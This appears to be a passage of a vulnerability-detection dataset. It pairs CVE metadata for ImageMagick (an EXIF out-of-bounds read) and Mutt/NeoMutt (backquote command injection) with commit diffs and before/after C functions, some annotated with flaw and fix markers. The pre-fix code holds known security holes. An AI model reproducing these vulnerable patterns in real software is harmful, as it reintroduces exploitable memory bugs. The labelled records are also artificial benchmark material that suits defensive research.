base::win::ScopedHGlobal<wchar_t*>(medium.hGlobal).get();\n EXPECT_EQ(url_spec, base::WideToUTF8(output_text));\n ReleaseStgMedium(&medium);\n }\n@@ -284,7 +284,7 @@ TEST(OSExchangeDataWinTest, TestURLExchangeFormatsViaCOM) {\n \n STGMEDIUM medium;\n EXPECT_EQ(S_OK, com_data->GetData(&format_etc, &medium));\n- base::win::ScopedHGlobal<char> glob(medium.hGlobal);\n+ base::win::ScopedHGlobal<char*> glob(medium.hGlobal);\n std::string output(glob.get(), glob.Size());\n std::string file_contents = \"[InternetShortcut]\\r\\nURL=\";\n file_contents += url_spec;\n@@ -329,7 +329,7 @@ TEST(OSExchangeDataWinTest, CFHtml) {\n STGMEDIUM medium;\n IDataObject* data_object = OSExchangeDataProviderWin::GetIDataObject(data);\n EXPECT_EQ(S_OK, data_object->GetData(&format, &medium));\n- base::win::ScopedHGlobal<char> glob(medium.hGlobal);\n+ base::win::ScopedHGlobal<char*> glob(medium.hGlobal);\n std::string output(glob.get(), glob.Size());\n EXPECT_EQ(expected_cf_html, output);\n ReleaseStgMedium(&medium);"}<_**next**_>{"sha": "ad33a510a02e72d0511f460da8232ab5ebbe8eb9", "filename": "ui/ui_unittests.gyp", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/ui_unittests.gyp", "raw_url": "https://github.com/chromium/chromium/raw/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/ui_unittests.gyp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/ui_unittests.gyp?ref=e93dc535728da259ec16d1c3cc393f80b25f64ae", "patch": "@@ -13,6 +13,7 @@\n 'dependencies': [\n '../base/base.gyp:base',\n '../base/base.gyp:test_support_base',\n+ '../net/net.gyp:net',\n '../skia/skia.gyp:skia',\n '../testing/gmock.gyp:gmock',\n '../testing/gtest.gyp:gtest',"}
|
IDataObject* OSExchangeDataProviderWin::GetIDataObject(
const OSExchangeData& data) {
return static_cast<const OSExchangeDataProviderWin*>(&data.provider())->
data_object();
}
|
IDataObject* OSExchangeDataProviderWin::GetIDataObject(
const OSExchangeData& data) {
return static_cast<const OSExchangeDataProviderWin*>(&data.provider())->
data_object();
}
|
C
| null | null | null |
@@ -411,15 +411,12 @@ bool OSExchangeDataProviderWin::GetURLAndTitle(
base::string16 url_str;
bool success = ClipboardUtil::GetUrl(
source_object_,
- &url_str,
+ url,
title,
policy == OSExchangeData::CONVERT_FILENAMES ? true : false);
if (success) {
- GURL test_url(url_str);
- if (test_url.is_valid()) {
- *url = test_url;
- return true;
- }
+ DCHECK(url->is_valid());
+ return true;
} else if (GetPlainTextURL(source_object_, url)) {
if (url->is_valid())
*title = net::GetSuggestedFilename(*url, "", "", "", "", std::string());
@@ -459,7 +456,7 @@ bool OSExchangeDataProviderWin::GetPickledData(
FORMATETC format_etc = format.ToFormatEtc();
if (SUCCEEDED(source_object_->GetData(&format_etc, &medium))) {
if (medium.tymed & TYMED_HGLOBAL) {
- base::win::ScopedHGlobal<char> c_data(medium.hGlobal);
+ base::win::ScopedHGlobal<char*> c_data(medium.hGlobal);
DCHECK_GT(c_data.Size(), 0u);
*data = Pickle(c_data.get(), static_cast<int>(c_data.Size()));
success = true;
@@ -878,7 +875,7 @@ ULONG DataObjectImpl::Release() {
static STGMEDIUM* GetStorageForBytes(const void* data, size_t bytes) {
HANDLE handle = GlobalAlloc(GPTR, static_cast<int>(bytes));
if (handle) {
- base::win::ScopedHGlobal<uint8> scoped(handle);
+ base::win::ScopedHGlobal<uint8*> scoped(handle);
memcpy(scoped.get(), data, bytes);
}
@@ -935,7 +932,7 @@ static STGMEDIUM* GetStorageForFileName(const base::FilePath& path) {
kDropSize + (path.value().length() + 2) * sizeof(wchar_t);
HANDLE hdata = GlobalAlloc(GMEM_MOVEABLE, kTotalBytes);
- base::win::ScopedHGlobal<DROPFILES> locked_mem(hdata);
+ base::win::ScopedHGlobal<DROPFILES*> locked_mem(hdata);
DROPFILES* drop_files = locked_mem.get();
drop_files->pFiles = sizeof(DROPFILES);
drop_files->fWide = TRUE;
@@ -1011,7 +1008,7 @@ static STGMEDIUM* GetIDListStorageForFileName(const base::FilePath& path) {
const size_t kCIDASize = kFirstPIDLOffset + kFirstPIDLSize + kSecondPIDLSize;
HANDLE hdata = GlobalAlloc(GMEM_MOVEABLE, kCIDASize);
- base::win::ScopedHGlobal<CIDA> locked_mem(hdata);
+ base::win::ScopedHGlobal<CIDA*> locked_mem(hdata);
CIDA* cida = locked_mem.get();
cida->cidl = 1; // We have one PIDL (not including the 0th root PIDL).
cida->aoffset[0] = kFirstPIDLOffset;
@@ -1034,7 +1031,7 @@ static STGMEDIUM* GetStorageForFileDescriptor(
base::string16 file_name = path.value();
DCHECK(!file_name.empty());
HANDLE hdata = GlobalAlloc(GPTR, sizeof(FILEGROUPDESCRIPTOR));
- base::win::ScopedHGlobal<FILEGROUPDESCRIPTOR> locked_mem(hdata);
+ base::win::ScopedHGlobal<FILEGROUPDESCRIPTOR*> locked_mem(hdata);
FILEGROUPDESCRIPTOR* descriptor = locked_mem.get();
descriptor->cItems = 1;
|
Chrome
|
e93dc535728da259ec16d1c3cc393f80b25f64ae
|
4ad0ec9fd3292e1ca9dbf54dee9587dcb49caa70
| 0
|
IDataObject* OSExchangeDataProviderWin::GetIDataObject(
const OSExchangeData& data) {
return static_cast<const OSExchangeDataProviderWin*>(&data.provider())->
data_object();
}
|
183,124
| null |
Remote
|
Not required
| null |
CVE-2016-5842
|
https://www.cvedetails.com/cve/CVE-2016-5842/
|
CWE-125
|
Low
|
Partial
| null | null |
2016-12-13
| 5
|
MagickCore/property.c in ImageMagick before 7.0.2-1 allows remote attackers to obtain sensitive memory information via vectors involving the q variable, which triggers an out-of-bounds read.
|
2017-06-30
|
+Info
| 6
|
https://github.com/ImageMagick/ImageMagick/commit/d8ab7f046587f2e9f734b687ba7e6e10147c294b
|
d8ab7f046587f2e9f734b687ba7e6e10147c294b
|
Improve checking of EXIF profile to prevent integer overflow (bug report from Ibrahim el-sayed)
| 6
|
MagickCore/property.c
|
{"sha": "51d887902b49d1d216ffe8a4ca463a0046babd48", "filename": "MagickCore/profile.c", "status": "modified", "additions": 29, "deletions": 18, "changes": 47, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/d8ab7f046587f2e9f734b687ba7e6e10147c294b/MagickCore/profile.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/d8ab7f046587f2e9f734b687ba7e6e10147c294b/MagickCore/profile.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/MagickCore/profile.c?ref=d8ab7f046587f2e9f734b687ba7e6e10147c294b", "patch": "@@ -1351,20 +1351,22 @@ static inline const unsigned char *ReadResourceByte(const unsigned char *p,\n static inline const unsigned char *ReadResourceLong(const unsigned char *p,\n unsigned int *quantum)\n {\n- *quantum=(size_t) (*p++ << 24);\n- *quantum|=(size_t) (*p++ << 16);\n- *quantum|=(size_t) (*p++ << 8);\n- *quantum|=(size_t) (*p++ << 0);\n+ *quantum=(unsigned int) (*p++) << 24;\n+ *quantum|=(unsigned int) (*p++) << 16;\n+ *quantum|=(unsigned int) (*p++) << 8;\n+ *quantum|=(unsigned int) (*p++) << 0;\n return(p);\n }\n \n static inline const unsigned char *ReadResourceShort(const unsigned char *p,\n unsigned short *quantum)\n {\n- *quantum=(unsigned short) (*p++ << 8);\n- *quantum|=(unsigned short) (*p++ << 0);\n+ *quantum=(unsigned short) (*p++) << 8;\n+ *quantum|=(unsigned short) (*p++);\n return(p);\n-}static inline void WriteResourceLong(unsigned char *p,\n+}\n+\n+static inline void WriteResourceLong(unsigned char *p,\n const unsigned int quantum)\n {\n unsigned char\n@@ -1731,13 +1733,14 @@ static inline signed short ReadProfileShort(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned short) ((buffer[1] << 8) | buffer[0]);\n- quantum.unsigned_value=(value & 0xffff);\n+ value=(unsigned short) buffer[1] << 8;\n+ value|=(unsigned short) buffer[0];\n+ quantum.unsigned_value=value & 0xffff;\n return(quantum.signed_value);\n }\n- value=(unsigned short) ((((unsigned char *) buffer)[0] << 8) |\n- ((unsigned char *) buffer)[1]);\n- quantum.unsigned_value=(value & 0xffff);\n+ value=(unsigned short) buffer[0] << 8;\n+ value|=(unsigned short) buffer[1];\n+ quantum.unsigned_value=value & 0xffff;\n return(quantum.signed_value);\n }\n \n@@ -1758,14 +1761,18 @@ static inline signed int ReadProfileLong(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned int) ((buffer[3] << 24) | (buffer[2] << 16) |\n- (buffer[1] << 8 ) | (buffer[0]));\n- quantum.unsigned_value=(value & 0xffffffff);\n+ value=(unsigned int) buffer[3] << 24;\n+ value|=(unsigned int) buffer[2] << 16;\n+ value|=(unsigned int) buffer[1] << 8;\n+ value|=(unsigned int) buffer[0];\n+ quantum.unsigned_value=value & 0xffffffff;\n return(quantum.signed_value);\n }\n- value=(unsigned int) ((buffer[0] << 24) | (buffer[1] << 16) |\n- (buffer[2] << 8) | buffer[3]);\n- quantum.unsigned_value=(value & 0xffffffff);\n+ value=(unsigned int) buffer[0] << 24;\n+ value|=(unsigned int) buffer[1] << 16;\n+ value|=(unsigned int) buffer[2] << 8;\n+ value|=(unsigned int) buffer[3];\n+ quantum.unsigned_value=value & 0xffffffff;\n return(quantum.signed_value);\n }\n \n@@ -2017,11 +2024,15 @@ MagickBooleanType SyncExifProfile(Image *image,StringInfo *profile)\n tag_value;\n \n q=(unsigned char *) (directory+2+(12*entry));\n+ if (q > (exif+length-12))\n+ break; /* corrupt EXIF */\n tag_value=(ssize_t) ReadProfileShort(endian,q);\n format=(ssize_t) ReadProfileShort(endian,q+2);\n if ((format-1) >= EXIF_NUM_FORMATS)\n break;\n components=(ssize_t) ReadProfileLong(endian,q+4);\n+ if (components < 0)\n+ break; /* corrupt EXIF */\n number_bytes=(size_t) components*format_bytes[format];\n if ((ssize_t) number_bytes < components)\n break; /* prevent overflow */"}<_**next**_>{"sha": "ca5c5fe0bcd0105a0528c224931acd1781cf969c", "filename": "MagickCore/property.c", "status": "modified", "additions": 45, "deletions": 31, "changes": 76, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/d8ab7f046587f2e9f734b687ba7e6e10147c294b/MagickCore/property.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/d8ab7f046587f2e9f734b687ba7e6e10147c294b/MagickCore/property.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/MagickCore/property.c?ref=d8ab7f046587f2e9f734b687ba7e6e10147c294b", "patch": "@@ -520,7 +520,7 @@ static inline signed int ReadPropertyMSBLong(const unsigned char **p,\n unsigned char\n buffer[4];\n \n- size_t\n+ unsigned int\n value;\n \n if (*length < 4)\n@@ -531,11 +531,11 @@ static inline signed int ReadPropertyMSBLong(const unsigned char **p,\n (*length)--;\n buffer[i]=(unsigned char) c;\n }\n- value=(size_t) (buffer[0] << 24);\n- value|=buffer[1] << 16;\n- value|=buffer[2] << 8;\n- value|=buffer[3];\n- quantum.unsigned_value=(value & 0xffffffff);\n+ value=(unsigned int) buffer[0] << 24;\n+ value|=(unsigned int) buffer[1] << 16;\n+ value|=(unsigned int) buffer[2] << 8;\n+ value|=(unsigned int) buffer[3];\n+ quantum.unsigned_value=value & 0xffffffff;\n return(quantum.signed_value);\n }\n \n@@ -571,9 +571,9 @@ static inline signed short ReadPropertyMSBShort(const unsigned char **p,\n (*length)--;\n buffer[i]=(unsigned char) c;\n }\n- value=(unsigned short) (buffer[0] << 8);\n- value|=buffer[1];\n- quantum.unsigned_value=(value & 0xffff);\n+ value=(unsigned short) buffer[0] << 8;\n+ value|=(unsigned short) buffer[1];\n+ quantum.unsigned_value=value & 0xffff;\n return(quantum.signed_value);\n }\n \n@@ -742,14 +742,18 @@ static inline signed int ReadPropertySignedLong(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned int) ((buffer[3] << 24) | (buffer[2] << 16) |\n- (buffer[1] << 8 ) | (buffer[0]));\n- quantum.unsigned_value=(value & 0xffffffff);\n+ value=(unsigned int) buffer[3] << 24;\n+ value|=(unsigned int) buffer[2] << 16;\n+ value|=(unsigned int) buffer[1] << 8;\n+ value|=(unsigned int) buffer[0];\n+ quantum.unsigned_value=value & 0xffffffff;\n return(quantum.signed_value);\n }\n- value=(unsigned int) ((buffer[0] << 24) | (buffer[1] << 16) |\n- (buffer[2] << 8) | buffer[3]);\n- quantum.unsigned_value=(value & 0xffffffff);\n+ value=(unsigned int) buffer[0] << 24;\n+ value|=(unsigned int) buffer[1] << 16;\n+ value|=(unsigned int) buffer[2] << 8;\n+ value|=(unsigned int) buffer[3];\n+ quantum.unsigned_value=value & 0xffffffff;\n return(quantum.signed_value);\n }\n \n@@ -761,13 +765,17 @@ static inline unsigned int ReadPropertyUnsignedLong(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned int) ((buffer[3] << 24) | (buffer[2] << 16) |\n- (buffer[1] << 8 ) | (buffer[0]));\n- return((unsigned int) (value & 0xffffffff));\n+ value=(unsigned int) buffer[3] << 24;\n+ value|=(unsigned int) buffer[2] << 16;\n+ value|=(unsigned int) buffer[1] << 8;\n+ value|=(unsigned int) buffer[0];\n+ return(value & 0xffffffff);\n }\n- value=(unsigned int) ((buffer[0] << 24) | (buffer[1] << 16) |\n- (buffer[2] << 8) | buffer[3]);\n- return((unsigned int) (value & 0xffffffff));\n+ value=(unsigned int) buffer[0] << 24;\n+ value|=(unsigned int) buffer[1] << 16;\n+ value|=(unsigned int) buffer[2] << 8;\n+ value|=(unsigned int) buffer[3];\n+ return(value & 0xffffffff);\n } \n \n static inline signed short ReadPropertySignedShort(const EndianType endian,\n@@ -787,13 +795,14 @@ static inline signed short ReadPropertySignedShort(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned short) ((buffer[1] << 8) | buffer[0]);\n- quantum.unsigned_value=(value & 0xffff);\n+ value=(unsigned short) buffer[1] << 8;\n+ value|=(unsigned short) buffer[0];\n+ quantum.unsigned_value=value & 0xffff;\n return(quantum.signed_value);\n }\n- value=(unsigned short) ((((unsigned char *) buffer)[0] << 8) |\n- ((unsigned char *) buffer)[1]);\n- quantum.unsigned_value=(value & 0xffff);\n+ value=(unsigned short) buffer[0] << 8;\n+ value|=(unsigned short) buffer[1];\n+ quantum.unsigned_value=value & 0xffff;\n return(quantum.signed_value);\n }\n \n@@ -805,12 +814,13 @@ static inline unsigned short ReadPropertyUnsignedShort(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned short) ((buffer[1] << 8) | buffer[0]);\n- return((unsigned short) (value & 0xffff));\n+ value=(unsigned short) buffer[1] << 8;\n+ value|=(unsigned short) buffer[0];\n+ return(value & 0xffff);\n }\n- value=(unsigned short) ((((unsigned char *) buffer)[0] << 8) |\n- ((unsigned char *) buffer)[1]);\n- return((unsigned short) (value & 0xffff));\n+ value=(unsigned short) buffer[0] << 8;\n+ value|=(unsigned short) buffer[1];\n+ return(value & 0xffff);\n }\n \n static MagickBooleanType GetEXIFProperty(const Image *image,\n@@ -1394,6 +1404,8 @@ static MagickBooleanType GetEXIFProperty(const Image *image,\n components;\n \n q=(unsigned char *) (directory+(12*entry)+2);\n+ if (q > (exif+length-12))\n+ break; /* corrupt EXIF */\n if (GetValueFromSplayTree(exif_resources,q) == q)\n break;\n (void) AddValueToSplayTree(exif_resources,q,q);\n@@ -1402,6 +1414,8 @@ static MagickBooleanType GetEXIFProperty(const Image *image,\n if (format >= (sizeof(tag_bytes)/sizeof(*tag_bytes)))\n break;\n components=(ssize_t) ReadPropertySignedLong(endian,q+4);\n+ if (components < 0)\n+ break; /* corrupt EXIF */\n number_bytes=(size_t) components*tag_bytes[format];\n if (number_bytes < components)\n break; /* prevent overflow */"}
|
static inline signed int ReadPropertyMSBLong(const unsigned char **p,
size_t *length)
{
union
{
unsigned int
unsigned_value;
signed int
signed_value;
} quantum;
int
c;
register ssize_t
i;
unsigned char
buffer[4];
unsigned int
value;
if (*length < 4)
return(-1);
for (i=0; i < 4; i++)
{
c=(int) (*(*p)++);
(*length)--;
buffer[i]=(unsigned char) c;
}
value=(unsigned int) buffer[0] << 24;
value|=(unsigned int) buffer[1] << 16;
value|=(unsigned int) buffer[2] << 8;
value|=(unsigned int) buffer[3];
quantum.unsigned_value=value & 0xffffffff;
return(quantum.signed_value);
}
|
static inline signed int ReadPropertyMSBLong(const unsigned char **p,
size_t *length)
{
union
{
unsigned int
unsigned_value;
signed int
signed_value;
} quantum;
int
c;
register ssize_t
i;
unsigned char
buffer[4];
size_t
value;
if (*length < 4)
return(-1);
for (i=0; i < 4; i++)
{
c=(int) (*(*p)++);
(*length)--;
buffer[i]=(unsigned char) c;
}
value=(size_t) (buffer[0] << 24);
value|=buffer[1] << 16;
value|=buffer[2] << 8;
value|=buffer[3];
quantum.unsigned_value=(value & 0xffffffff);
return(quantum.signed_value);
}
|
C
|
unsigned int
value=(unsigned int) buffer[0] << 24;
value|=(unsigned int) buffer[1] << 16;
value|=(unsigned int) buffer[2] << 8;
value|=(unsigned int) buffer[3];
quantum.unsigned_value=value & 0xffffffff;
|
size_t
value=(size_t) (buffer[0] << 24);
value|=buffer[1] << 16;
value|=buffer[2] << 8;
value|=buffer[3];
quantum.unsigned_value=(value & 0xffffffff);
| null |
@@ -520,7 +520,7 @@ static inline signed int ReadPropertyMSBLong(const unsigned char **p,
unsigned char
buffer[4];
- size_t
+ unsigned int
value;
if (*length < 4)
@@ -531,11 +531,11 @@ static inline signed int ReadPropertyMSBLong(const unsigned char **p,
(*length)--;
buffer[i]=(unsigned char) c;
}
- value=(size_t) (buffer[0] << 24);
- value|=buffer[1] << 16;
- value|=buffer[2] << 8;
- value|=buffer[3];
- quantum.unsigned_value=(value & 0xffffffff);
+ value=(unsigned int) buffer[0] << 24;
+ value|=(unsigned int) buffer[1] << 16;
+ value|=(unsigned int) buffer[2] << 8;
+ value|=(unsigned int) buffer[3];
+ quantum.unsigned_value=value & 0xffffffff;
return(quantum.signed_value);
}
@@ -571,9 +571,9 @@ static inline signed short ReadPropertyMSBShort(const unsigned char **p,
(*length)--;
buffer[i]=(unsigned char) c;
}
- value=(unsigned short) (buffer[0] << 8);
- value|=buffer[1];
- quantum.unsigned_value=(value & 0xffff);
+ value=(unsigned short) buffer[0] << 8;
+ value|=(unsigned short) buffer[1];
+ quantum.unsigned_value=value & 0xffff;
return(quantum.signed_value);
}
@@ -742,14 +742,18 @@ static inline signed int ReadPropertySignedLong(const EndianType endian,
if (endian == LSBEndian)
{
- value=(unsigned int) ((buffer[3] << 24) | (buffer[2] << 16) |
- (buffer[1] << 8 ) | (buffer[0]));
- quantum.unsigned_value=(value & 0xffffffff);
+ value=(unsigned int) buffer[3] << 24;
+ value|=(unsigned int) buffer[2] << 16;
+ value|=(unsigned int) buffer[1] << 8;
+ value|=(unsigned int) buffer[0];
+ quantum.unsigned_value=value & 0xffffffff;
return(quantum.signed_value);
}
- value=(unsigned int) ((buffer[0] << 24) | (buffer[1] << 16) |
- (buffer[2] << 8) | buffer[3]);
- quantum.unsigned_value=(value & 0xffffffff);
+ value=(unsigned int) buffer[0] << 24;
+ value|=(unsigned int) buffer[1] << 16;
+ value|=(unsigned int) buffer[2] << 8;
+ value|=(unsigned int) buffer[3];
+ quantum.unsigned_value=value & 0xffffffff;
return(quantum.signed_value);
}
@@ -761,13 +765,17 @@ static inline unsigned int ReadPropertyUnsignedLong(const EndianType endian,
if (endian == LSBEndian)
{
- value=(unsigned int) ((buffer[3] << 24) | (buffer[2] << 16) |
- (buffer[1] << 8 ) | (buffer[0]));
- return((unsigned int) (value & 0xffffffff));
+ value=(unsigned int) buffer[3] << 24;
+ value|=(unsigned int) buffer[2] << 16;
+ value|=(unsigned int) buffer[1] << 8;
+ value|=(unsigned int) buffer[0];
+ return(value & 0xffffffff);
}
- value=(unsigned int) ((buffer[0] << 24) | (buffer[1] << 16) |
- (buffer[2] << 8) | buffer[3]);
- return((unsigned int) (value & 0xffffffff));
+ value=(unsigned int) buffer[0] << 24;
+ value|=(unsigned int) buffer[1] << 16;
+ value|=(unsigned int) buffer[2] << 8;
+ value|=(unsigned int) buffer[3];
+ return(value & 0xffffffff);
}
static inline signed short ReadPropertySignedShort(const EndianType endian,
@@ -787,13 +795,14 @@ static inline signed short ReadPropertySignedShort(const EndianType endian,
if (endian == LSBEndian)
{
- value=(unsigned short) ((buffer[1] << 8) | buffer[0]);
- quantum.unsigned_value=(value & 0xffff);
+ value=(unsigned short) buffer[1] << 8;
+ value|=(unsigned short) buffer[0];
+ quantum.unsigned_value=value & 0xffff;
return(quantum.signed_value);
}
- value=(unsigned short) ((((unsigned char *) buffer)[0] << 8) |
- ((unsigned char *) buffer)[1]);
- quantum.unsigned_value=(value & 0xffff);
+ value=(unsigned short) buffer[0] << 8;
+ value|=(unsigned short) buffer[1];
+ quantum.unsigned_value=value & 0xffff;
return(quantum.signed_value);
}
@@ -805,12 +814,13 @@ static inline unsigned short ReadPropertyUnsignedShort(const EndianType endian,
if (endian == LSBEndian)
{
- value=(unsigned short) ((buffer[1] << 8) | buffer[0]);
- return((unsigned short) (value & 0xffff));
+ value=(unsigned short) buffer[1] << 8;
+ value|=(unsigned short) buffer[0];
+ return(value & 0xffff);
}
- value=(unsigned short) ((((unsigned char *) buffer)[0] << 8) |
- ((unsigned char *) buffer)[1]);
- return((unsigned short) (value & 0xffff));
+ value=(unsigned short) buffer[0] << 8;
+ value|=(unsigned short) buffer[1];
+ return(value & 0xffff);
}
static MagickBooleanType GetEXIFProperty(const Image *image,
@@ -1394,6 +1404,8 @@ static MagickBooleanType GetEXIFProperty(const Image *image,
components;
q=(unsigned char *) (directory+(12*entry)+2);
+ if (q > (exif+length-12))
+ break; /* corrupt EXIF */
if (GetValueFromSplayTree(exif_resources,q) == q)
break;
(void) AddValueToSplayTree(exif_resources,q,q);
@@ -1402,6 +1414,8 @@ static MagickBooleanType GetEXIFProperty(const Image *image,
if (format >= (sizeof(tag_bytes)/sizeof(*tag_bytes)))
break;
components=(ssize_t) ReadPropertySignedLong(endian,q+4);
+ if (components < 0)
+ break; /* corrupt EXIF */
number_bytes=(size_t) components*tag_bytes[format];
if (number_bytes < components)
break; /* prevent overflow */
|
ImageMagick
|
d8ab7f046587f2e9f734b687ba7e6e10147c294b
|
f0ae4ef12c8f73b05afe55f79e1429717c1deb58
| 1
|
static inline signed int ReadPropertyMSBLong(const unsigned char **p,
size_t *length)
{
union
{
unsigned int
unsigned_value;
signed int
signed_value;
} quantum;
int
c;
register ssize_t
i;
unsigned char
buffer[4];
//flaw_line_below:
size_t
//fix_flaw_line_below:
// unsigned int
value;
if (*length < 4)
return(-1);
for (i=0; i < 4; i++)
{
c=(int) (*(*p)++);
(*length)--;
buffer[i]=(unsigned char) c;
}
//flaw_line_below:
value=(size_t) (buffer[0] << 24);
//flaw_line_below:
value|=buffer[1] << 16;
//flaw_line_below:
value|=buffer[2] << 8;
//flaw_line_below:
value|=buffer[3];
//flaw_line_below:
quantum.unsigned_value=(value & 0xffffffff);
//fix_flaw_line_below:
// value=(unsigned int) buffer[0] << 24;
//fix_flaw_line_below:
// value|=(unsigned int) buffer[1] << 16;
//fix_flaw_line_below:
// value|=(unsigned int) buffer[2] << 8;
//fix_flaw_line_below:
// value|=(unsigned int) buffer[3];
//fix_flaw_line_below:
// quantum.unsigned_value=value & 0xffffffff;
return(quantum.signed_value);
}
|
79,590
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-14357
|
https://www.cvedetails.com/cve/CVE-2018-14357/
|
CWE-77
|
Low
|
Partial
|
Partial
| null |
2018-07-17
| 7.5
|
An issue was discovered in Mutt before 1.10.1 and NeoMutt before 2018-07-16. They allow remote IMAP servers to execute arbitrary commands via backquote characters, related to the mailboxes command associated with an automatic subscription.
|
2019-10-02
|
Exec Code
| 0
|
https://github.com/neomutt/neomutt/commit/e52393740334443ae0206cab2d7caef381646725
|
e52393740334443ae0206cab2d7caef381646725
|
quote imap strings more carefully
Co-authored-by: JerikoOne <jeriko.one@gmx.us>
| 0
|
imap/imap.c
|
{"sha": "0f4445b4532660e17f18a935fdacd4f492438dcf", "filename": "imap/auth_login.c", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/neomutt/neomutt/blob/e52393740334443ae0206cab2d7caef381646725/imap/auth_login.c", "raw_url": "https://github.com/neomutt/neomutt/raw/e52393740334443ae0206cab2d7caef381646725/imap/auth_login.c", "contents_url": "https://api.github.com/repos/neomutt/neomutt/contents/imap/auth_login.c?ref=e52393740334443ae0206cab2d7caef381646725", "patch": "@@ -65,8 +65,8 @@ enum ImapAuthRes imap_auth_login(struct ImapData *idata, const char *method)\n \n mutt_message(_(\"Logging in...\"));\n \n- imap_quote_string(q_user, sizeof(q_user), idata->conn->account.user);\n- imap_quote_string(q_pass, sizeof(q_pass), idata->conn->account.pass);\n+ imap_quote_string(q_user, sizeof(q_user), idata->conn->account.user, false);\n+ imap_quote_string(q_pass, sizeof(q_pass), idata->conn->account.pass, false);\n \n /* don't print the password unless we're at the ungodly debugging level\n * of 5 or higher */"}<_**next**_>{"sha": "859f98727c8da58fba14c54beb6c132b8a20df85", "filename": "imap/command.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/neomutt/neomutt/blob/e52393740334443ae0206cab2d7caef381646725/imap/command.c", "raw_url": "https://github.com/neomutt/neomutt/raw/e52393740334443ae0206cab2d7caef381646725/imap/command.c", "contents_url": "https://api.github.com/repos/neomutt/neomutt/contents/imap/command.c?ref=e52393740334443ae0206cab2d7caef381646725", "patch": "@@ -499,7 +499,7 @@ static void cmd_parse_lsub(struct ImapData *idata, char *s)\n mutt_str_strfcpy(buf, \"mailboxes \\\"\", sizeof(buf));\n mutt_account_tourl(&idata->conn->account, &url);\n /* escape \\ and \" */\n- imap_quote_string(errstr, sizeof(errstr), list.name);\n+ imap_quote_string(errstr, sizeof(errstr), list.name, true);\n url.path = errstr + 1;\n url.path[strlen(url.path) - 1] = '\\0';\n if (mutt_str_strcmp(url.user, ImapUser) == 0)"}<_**next**_>{"sha": "40f620a2e2bf91b34edf289784e01867ef78d830", "filename": "imap/imap.c", "status": "modified", "additions": 5, "deletions": 5, "changes": 10, "blob_url": "https://github.com/neomutt/neomutt/blob/e52393740334443ae0206cab2d7caef381646725/imap/imap.c", "raw_url": "https://github.com/neomutt/neomutt/raw/e52393740334443ae0206cab2d7caef381646725/imap/imap.c", "contents_url": "https://api.github.com/repos/neomutt/neomutt/contents/imap/imap.c?ref=e52393740334443ae0206cab2d7caef381646725", "patch": "@@ -464,25 +464,25 @@ static int compile_search(struct Context *ctx, const struct Pattern *pat, struct\n return -1;\n }\n *delim = '\\0';\n- imap_quote_string(term, sizeof(term), pat->p.str);\n+ imap_quote_string(term, sizeof(term), pat->p.str, false);\n mutt_buffer_addstr(buf, term);\n mutt_buffer_addch(buf, ' ');\n \n /* and field */\n *delim = ':';\n delim++;\n SKIPWS(delim);\n- imap_quote_string(term, sizeof(term), delim);\n+ imap_quote_string(term, sizeof(term), delim, false);\n mutt_buffer_addstr(buf, term);\n break;\n case MUTT_BODY:\n mutt_buffer_addstr(buf, \"BODY \");\n- imap_quote_string(term, sizeof(term), pat->p.str);\n+ imap_quote_string(term, sizeof(term), pat->p.str, false);\n mutt_buffer_addstr(buf, term);\n break;\n case MUTT_WHOLE_MSG:\n mutt_buffer_addstr(buf, \"TEXT \");\n- imap_quote_string(term, sizeof(term), pat->p.str);\n+ imap_quote_string(term, sizeof(term), pat->p.str, false);\n mutt_buffer_addstr(buf, term);\n break;\n case MUTT_SERVERSEARCH:\n@@ -495,7 +495,7 @@ static int compile_search(struct Context *ctx, const struct Pattern *pat, struct\n }\n }\n mutt_buffer_addstr(buf, \"X-GM-RAW \");\n- imap_quote_string(term, sizeof(term), pat->p.str);\n+ imap_quote_string(term, sizeof(term), pat->p.str, false);\n mutt_buffer_addstr(buf, term);\n break;\n }"}<_**next**_>{"sha": "278d4a2b13793faf7af21ea24ea6262dab32939e", "filename": "imap/imap_private.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/neomutt/neomutt/blob/e52393740334443ae0206cab2d7caef381646725/imap/imap_private.h", "raw_url": "https://github.com/neomutt/neomutt/raw/e52393740334443ae0206cab2d7caef381646725/imap/imap_private.h", "contents_url": "https://api.github.com/repos/neomutt/neomutt/contents/imap/imap_private.h?ref=e52393740334443ae0206cab2d7caef381646725", "patch": "@@ -328,7 +328,7 @@ char *imap_get_qualifier(char *buf);\n int imap_mxcmp(const char *mx1, const char *mx2);\n char *imap_next_word(char *s);\n void imap_qualify_path(char *dest, size_t len, struct ImapMbox *mx, char *path);\n-void imap_quote_string(char *dest, size_t dlen, const char *src);\n+void imap_quote_string(char *dest, size_t dlen, const char *src, bool quote_backtick);\n void imap_unquote_string(char *s);\n void imap_munge_mbox_name(struct ImapData *idata, char *dest, size_t dlen, const char *src);\n void imap_unmunge_mbox_name(struct ImapData *idata, char *s);"}<_**next**_>{"sha": "614d87a5612d6769d9fdc27eb4d9557921842600", "filename": "imap/util.c", "status": "modified", "additions": 6, "deletions": 3, "changes": 9, "blob_url": "https://github.com/neomutt/neomutt/blob/e52393740334443ae0206cab2d7caef381646725/imap/util.c", "raw_url": "https://github.com/neomutt/neomutt/raw/e52393740334443ae0206cab2d7caef381646725/imap/util.c", "contents_url": 